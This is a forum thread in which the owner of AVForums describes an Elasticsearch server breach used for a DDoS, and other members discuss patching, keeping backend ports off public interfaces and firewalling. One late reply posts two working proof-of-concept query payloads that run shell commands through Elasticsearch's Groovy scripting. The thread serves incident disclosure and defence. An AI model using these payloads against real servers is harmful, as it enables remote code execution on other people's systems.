Check your Elastic Search installation - AVForums was hacked Saturday 7th March

Stuart Wright

Stuart Wright

Well-known member
Last night at 8pm I got a message from Tim Dunton at Nimbus Hosting that our #2 database server had been hacked at about 6:30pm.
The hackers were using our server to run a DDOS against a Chinese IP. There is no evidence that they took the database (we would see SQL dumps and none are visible).
Tim shut the server down immediately. This meant that our remaining server could not cope with the search load and AVForums ground to a halt with errors.
We have one addon which relies on the search and does not obey the search enabled/disabled option in the admin settings. So even disabling the search meant we were getting Elastic Search errors continuing. Disabling the [XenMods] [Widgets] (bd Widget Framework) addon meant the forums could come back online.

The best idea of how we were hacked is that a known vulnerability in our search engine Elastic Search was used to gain root access to the server.
Elasticsearch.org Elasticsearch 1.4.3 And 1.3.8 Released | Blog | Elasticsearch
So we were hacked because
  1. There was a vulnerability in our Elastic Search installation because
  2. we were using an older version of Elastic Search which contained the vulnerability and
  3. we had the Elastic Search port open to the public which mean hackers could get to it.
Standard procedure when a hack happens is to wipe and reinstall the server, which Tim did this morning.
That means we have to recreate the search index and that is ongoing. With 20 million posts and near 2 million threads, it takes hours. Until that happens, the search will either be offline or online with limited results.

What have we done to ensure this doesn't happen again?
Tim has installed the latest version of Elastic Search on the servers (which patches the vulnerability) and the 'recon' function which automatically installs Elastic Search updates so that we won't lag behind security patches in the future.
He has also taken the Elastic Search port away from public view so that nobody can access is externally any more.

We can't say for sure that the database wasn't taken, but we don't think it was as the purpose of the hack seems to have been just to launch the DDOS.
Passwords are encrypted, so they won't have been compromised. For the purposes of transparency, I have declared on AVForums that there is a small possibility that peoples' emails were taken.

If you're running Elastic Search, make sure it's running the latest version and that the post is not public facing.

****ing hackers.
 
Yikes, horrible situation to be in. :(
I take it you didn't/don't monitor security release information?
 
Yikes.

AdamD said:
Yikes, horrible situation to be in. :(
I take it you didn't/don't monitor security release information?
Click to expand...
The Elastic Search website doesn't have a dedicated security feed and the blog is full of other random chatter which is mostly product press releases.
 
eva2000 said:
ouch.. remember to put a firewall up on the elasticsearch server too
Click to expand...
It is a common misconception that a firewall will solve all problems, especially if the problem was caused by a very simple configuration error and should not have existed in the first place.

Basic rule: Any service that does not *have* to be accessible from the outside simply must not listen on public network interfaces. I have seen countless such errors and in most cases, the admins were not even aware of the problem and when told about it, they often did not understand the risks, which are vast and dangerous. Most services, which are not supposed to listen on public interfaces (like caches, database servers and other typical backend services) often contain dangerous unknown security holes, simply because they are typically not exposed to the public and therefore not attackable by normal means.

Always remember: A minimalistic approach (only expose to the public what have to be exposed) and proper isolation is, by far, the most efficient method to battle security problems. Using a firewall software (which might have its own share of issues) to block access to something that shouldn't be there in the first place means to fight the symptoms instead of the actual disease.

A backend server that only runs backend stuff should be completely inaccessible from the outside. If that's not possible, because it is shared for both backend and frontend stuff, then it is important to properly isolate the backend services.
 
Isn't Nimbus managed hosting? Why was a known vulnerability since May never corrected until you were hacked almost 10 months later? Seems they really dropped the ball on this one.
 
@SilverCircle agreed..

However, a properly configured firewall should be in place regardless and is part of the process in isolating the backend :)

@Stuart Wright FYI, ES 1.4.4 is latest http://www.elasticsearch.org/blog/elasticsearch-1-4-4-and-1-3-9-released/

Code: 
yum list available --disablerepo=* --enablerepo=elasticsearch-1.4 -q
Available Packages
elasticsearch.noarch 1.4.4-1 elasticsearch-1.4

Code: 
curl localhost:9200/_nodes/process?pretty
{
  "cluster_name" : "cname",
  "nodes" : {
    "xrtV2RciQsugxxxawfRVmbA" : {
      "name" : "Speed",
      "transport_address" : "local[1]",
      "host" : "hostname",
      "ip" : "ipaddress",
      "version" : "1.4.4",
      "build" : "c88f77f",
      "http_address" : "inet[/127.0.0.1:9200]",
      "attributes" : {
        "local" : "true"
      },
      "process" : {
        "refresh_interval_in_millis" : 1000,
        "id" : 4863,
        "max_file_descriptors" : 262144,
        "mlockall" : false
      }
    }
  }
}
 
managed service and you keeping codes up to date is different. Now while I see they do offer xenforo hosting and offer managed service, I as a admin would not expect them to keep my addons up to date when I can check and ask them to install them. I find it wild that you expect your hosting company to manage your forum software and servers and keep your addons up to date while suggesting more services that you might find useful.

just my opinion.
 
xenBoost Mike said:
Isn't Nimbus managed hosting? Why was a known vulnerability since May never corrected until you were hacked almost 10 months later? Seems they really dropped the ball on this one.
Click to expand...
While maybe ES 1.4.3 fixed a security exploit, I think it's crazy that your host would *ever* think it was a good idea to allow direct ES connections from the outside world. It's the same as other internal services... Memcached, MySQL, etc. normally should never allow connections from the outside.

Just to be safe on my servers, I block all traffic except port 80 and 443 from CloudFlare IP addresses. No other IPs or ports have any business doing anything from the outside.
 
Last edited:
xenBoost Mike said:
Isn't Nimbus managed hosting? Why was a known vulnerability since May never corrected until you were hacked almost 10 months later? Seems they really dropped the ball on this one.
Click to expand...

Given Nimbus were actually involved in helping track down the issue when it first came to light, I imagine there's more to the story than we know.
 
Stuart Wright said:
We have one addon which relies on the search and does not obey the search enabled/disabled option in the admin settings.
Click to expand...
This will be addressed in an update released tomorrow or the next day (if you disable search it will basically disable the widget although the widget will still be enabled technically).

I'll also include a fix for when/if ElasticSearch throws an exception, even though it should be rare.
 
Stuart Wright said:
Last night at 8pm I got a message from Tim Dunton at Nimbus Hosting that our #2 database server had been hacked at about 6:30pm.
The hackers were using our server to run a DDOS against a Chinese IP. There is no evidence that they took the database (we would see SQL dumps and none are visible).
Tim shut the server down immediately. This meant that our remaining server could not cope with the search load and AVForums ground to a halt with errors.
We have one addon which relies on the search and does not obey the search enabled/disabled option in the admin settings. So even disabling the search meant we were getting Elastic Search errors continuing. Disabling the [XenMods] [Widgets] (bd Widget Framework) addon meant the forums could come back online.

The best idea of how we were hacked is that a known vulnerability in our search engine Elastic Search was used to gain root access to the server.
Elasticsearch.org Elasticsearch 1.4.3 And 1.3.8 Released | Blog | Elasticsearch
So we were hacked because
  1. There was a vulnerability in our Elastic Search installation because
  2. we were using an older version of Elastic Search which contained the vulnerability and
  3. we had the Elastic Search port open to the public which mean hackers could get to it.
Standard procedure when a hack happens is to wipe and reinstall the server, which Tim did this morning.
That means we have to recreate the search index and that is ongoing. With 20 million posts and near 2 million threads, it takes hours. Until that happens, the search will either be offline or online with limited results.

What have we done to ensure this doesn't happen again?
Tim has installed the latest version of Elastic Search on the servers (which patches the vulnerability) and the 'recon' function which automatically installs Elastic Search updates so that we won't lag behind security patches in the future.
He has also taken the Elastic Search port away from public view so that nobody can access is externally any more.

We can't say for sure that the database wasn't taken, but we don't think it was as the purpose of the hack seems to have been just to launch the DDOS.
Passwords are encrypted, so they won't have been compromised. For the purposes of transparency, I have declared on AVForums that there is a small possibility that peoples' emails were taken.

If you're running Elastic Search, make sure it's running the latest version and that the post is not public facing.

****ing hackers.
Click to expand...
Stuart,

Perchance do you have any logs you could share? I'd love to review them with our incident response team.
 
Slavik said:
Given Nimbus were actually involved in helping track down the issue when it first came to light, I imagine there's more to the story than we know.
Click to expand...
To be clear, Tim informed me about the issue on AVForums on Saturday. It was Shawn @digitalpoint on Skype Saturday evening who alerted us to the Elastic page about the update. Up to that point neither Tim nor I were aware of it.
 
Proof of concept code:

Code: 
{
    "size": 1,
    "query": {
        "match_all": {}
    },
    "script_fields": {
        "exploit": {
            "lang": "groovy",
            "script": "java.lang.Math.class.forName(\"java.util.Scanner\").getConstructor(java.lang.Math.class.forName(\"java.io.InputStream\")).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"uname -a\").getInputStream()).useDelimiter(\"\\\\A\").next()"
        }
    }
}

Better more simple proof of concept:

Code: 
{
   "script_fields": {
          "myscript": {
               "script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"
           }
    }
}
 
Stuart Wright said:
To be clear, Tim informed me about the issue on AVForums on Saturday. It was Shawn @digitalpoint on Skype Saturday evening who alerted us to the Elastic page about the update. Up to that point neither Tim nor I were aware of it.
Click to expand...

I was referring more to the problem of having the ES port publicly available.
 
I wasn't aware of the security issue so thanks for the heads-up; mine is now pointing to localhost [127.0.0.1] - it had defaulted to using my server's external IP address.
 

Similar threads

Brent W
Forum Conversions & Elastic Search Installation
Replies
9
Views
8K
Digital Doctor
Digital Doctor
Back
Top Bottom